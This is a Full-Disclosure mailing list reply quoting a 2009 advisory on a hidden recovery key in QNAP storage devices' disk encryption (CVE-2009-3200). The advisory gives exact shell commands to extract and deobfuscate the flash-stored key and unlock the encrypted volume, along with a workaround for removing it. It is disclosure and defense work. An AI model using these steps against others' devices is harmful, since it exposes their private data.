Re: [Full-disclosure] Advisory: Crypto backdoor in Qnap storage devices (CVE-2009-3200)

[Rohit Patnaik <quanticle@xxxxxxxxx>]

How feasible is it for a user to gain network access to the network 
device?  Is it just a matter of gaining access via SSH?  Or is there 
something more that a malicious user has to do?

--Rohit Patnaik

Marc Heuse wrote:
> ________________________________________________________________________
>
> Title: Crypto backdoor in Qnap storage devices
> Date:  18 September 2009
> URL:
> http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt
>
> ________________________________________________________________________
>
> Vendor:                QNAP Systems
> Products (verified):   TS-239 Pro, TS-639 Pro
> Products (unverified): SS-439 Pro, TS-439 Pro, TS-439U-SP/RP,
>                        TS-509 Pro, SS-839 Pro, TS-809 Pro, TS-809U-RP
> Vulnerability:         hard disk encryption bypass due recovery key
> Affected Releases:     3.1.1 0815, 3.1.0 0627, 2.1.7 0613,
>                        and presumably all other
> Severity:              Moderate/High
> CVE:                   CVE-2009-3200
>
> ________________________________________________________________________
>
> Overview:
>
>   The premium and new line of QNAP network storage solutions allow
>   for full hard disk encryption. When rebooting, the user has to
>   unlock the hard disk by supplying the encryption passphrase via
>   the web GUI.
>
>   However, when the hard disk is encrypted, a secondary key is
>   created, added to the keyring, and stored in the flash with minor
>   obfuscation.
>
>
> Impact:
>
>   The encrypted hard disk can be unlocked and potential sensitive
>   contents access by attackers who obtain physical or network
>   access to the hard disk and flash.
>
>
> Description:
>
>   When a user selects in the web GUI to encrypt a hard drive, he
>   has to supply a passphrase of 8-16 length.
>   The Qnap solution is to use the underlying Linux standard
>   mechanisms of LUKS to create the encrypted partition.
>   The user supplied passphrase is crypt(3)'ed with the MD5 salt
>   of $1$YCCaQNAP$ and used as the initial key to access the LUKS
>   master key for the drive.
>
>   Additionally, the system creates a second key, which is 32
>   characters long and contains all low case characters and the
>   numbers 0-9, and adds it to the LUKS keyring:
>   /sbin/cryptsetup luksAddKey /dev/md0 /tmp/temp.wLbZNp \
>       --key-file=/tmp/temp.rUBxFo
>
>   Before writing the second key to the flash, the key is then
>   obfuscated in the following way:
>   the first six characters are reversed and written to the end
>   of the string.
>   The obfuscated string is then written to the flash (/dev/sdx6
>   on current Qnap storage devices) in the ENCK variable.
>
>
> Exploit:
>
>   An attacker - or user who has lost his passphrase - just needs
>   to do the following:
>
>   1. Obtain the backdoor key from the flash:
>        #  strings /dev/sdx6 | grep ENCK
>        ENCK=ghijklmnopqrstuvwxyz012345fedcba
>      It is possible that several ENCK keys show up.
>
>   2. The key has then to be deobfuscated. The last 6 characters have
>      to be taken, reversed, and put in front of the string:
>
>      ENCK key before: ghijklmnopqrstuvwxyz012345fedcba
>      ENCK key after:  abcdefghijklmnopqrstuvwxyz012345
>
>   3. The key file has to be created:
>        # echo -n "abcdefghijklmnopqrstuvwxyz012345" > /tmp/key
>
>   4. The encrypted volume is unlocked and mounted. The device is
>      usually /dev/md0 or /dev/sda3.
>        # /sbin/cryptsetup luksOpen /dev/md0 md0 --key-file=/tmp/key
>        key slot 0 unlocked.
>        Command successful.
>        # mount /dev/mapper/md0 /share/MD0_DATA
>      Full access to the encrypted volume has been obtained.
>
>
> Additional Weaknesses:
>
>   The backdoor key is generated by rand() calls. As the rand()
>   function produces random numbers unsuitable for cryptographic
>   keys. The cryptographic strength of this generated key is
>   approx 2^32, hence feasible for breaking. This would make
>   access to the flash unnecessary.
>
>   The LUKS partition is created in AES-256 in plain CBC mode. This
>   mode is susceptible to watermark attacks.
>
>
> Solution:
>
>   No fix is available from the vendor yet and scheduled for the
>   following month.
>
>   The official company statement is:
>   "The security notice from Baseline Security was received by Qnap
>   on the 16th September 2009 and rated as important.
>   Currently, a new and enhanced firmware version is already in
>   testing. An update is planned for the following month"
>
>   As this was implemented on purpose by the vendor, and feedback
>   from the taiwanese development team was scarce, it was decided
>   to publish the information to put public pressure on the company
>   to ensure not only supplying a quick update, but also announcing
>   the issue properly so users see the need for installed the
>   coming imporant firmware update.
>
>   It was proposed to the vendor to remove the key from the keyring
>   as described in the workaround section.
>   Additionally the ENCK values in the flash should be overwritten.
>
>   Once a firmware update is available, it will be tested that it
>   removes the crypto backdoor.
>   Watch the advisory URL for updates:
>
> http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt
>
>
> Workaround:
>
>   There is no workaround available which can be used by a novice
>   user.
>
>   The best solution is to remove the backdoor key from keyslot 0.
>   However this requires hashing the user passphrase. For this, a
>   Linux system has to be available, which has the "mkpasswd" command
>   installed (whois package).
>   Execute:
>     # mkpasswd --hash=md5 --salt='YCCaQNAP'
>   and enter the password on the Password: prompt. Copy the outout.
>
>   On the Qnap device, create the keyfile with the password hash:
>     # echo -n "...the output of mkpasswd..." > /tmp/mykey
>
>   Now remove the backdoor key:
>     # /sbin/cryptsetup luksKillSlot /dev/md0 0 --key-file=/tmp/mykey
>
>   Remove all sensitive data, wipe the shell history, and logoff:
>     # echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaa" > /tmp/mykey
>     # rm /tmp/mykey /tmp/key
>     # HISTSIZE=0
>     # exit
>
>   As an additional measure, the flash can be edited and the saved
>   key overwritten (this requires the ipkg package installed).
>   Install a hex editor, run the hexeditor on the flash, and
>   overwrite ENCK values:
>     # ipkg install hexcurse
>     # hexcurse /dev/sdx6
>     (a hex editor window is loading)
>     Type Control-F, then 454e434b and hit Enter.
>     Use the cursor keys to the character string after the "ENCK="
>     string and then type in as many "A" characters, until the string
>     is full. Type Control-S to save, adn Control-Q to quit.
>
>   Please note that no liability is given whatsoever by anyone
>   if the workaround is used. It is recommended to be performed
>   by experienced users only.
>
>
> Original Vendor FUD:
>
>   "The functionality for encryption the hard disk does not include
>    a crypto backdoor."
>   (in response to a user question why two keyslots are allocated,
>   and if this is because of a backdoor)
>   http://forum.qnap.com/viewtopic.php?f=11&t=11214&start=20#p63346
>   http://forum.qnap.com/viewtopic.php?f=12&t=12104&start=10#p63341
>
> ________________________________________________________________________
>
> Credit:
>
>   Analysis performed thanks to the ultimate binary analysis tool
>   BinNavi by Zynamics, and the great - and free - IDA Pro
>   Dissassembler 4.9 by Datarescue.
>
>   Greets to the teams at Red Database Security, Recurity Labs,
>   THC and n.runs.
>
> ________________________________________________________________________
>
> Vendor communication:
>
>   10 September 2009   Issue posted in the Qnap support forum
>
>   15 September 2009   Notification on crypto backdoor sent directly
>                       to Qnap to force a response, giving 72 hours
>                       to explain why the backdoor exists, when and
>                       how it will be removed, and how this
>                       information will be made available to the users.
>
>   15 September 2009   Qnap support contact confirms notification,
>                       and informs of forwarding to support team
>                       in Taiwan for clarification
>
>   16 September 2009   Phone cann from Qnap representive, stating
>                       this issue is a high priority
>
>   18 September 2009   No statement from Qnap was given on why the
>                       backdoor exists and if and when it will be
>                       removed.
>
>   18 September 2009   This advisory is released
>
> ________________________________________________________________________
>
> Contact:
>
> mh@xxxxxxxxxxxxxxxxxxxx
>
> Baseline Security Consulting
> http://www.baseline-security.de
>
> ________________________________________________________________________
>
> The information provided is released "as is" without warranty of
> any kind. The publisher disclaims all warranties, either express or
> implied, including all warranties of merchantability.
> No responsibility is taken for the correctness of this information.
> In no event shall the publisher be liable for any damages whatsoever
> including direct, indirect, incidental, consequential, loss of
> business profits or special damages, even if the publisher has been
> advised of the possibility of such damages.
>
>
> The contents of this advisory is copyright (c) 2009 by Marc Heuse
> and may be distributed freely provided that no fee is charged for
> the distribution and proper credit is given.
>
> ________________________________________________________________________
>
>
>   

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/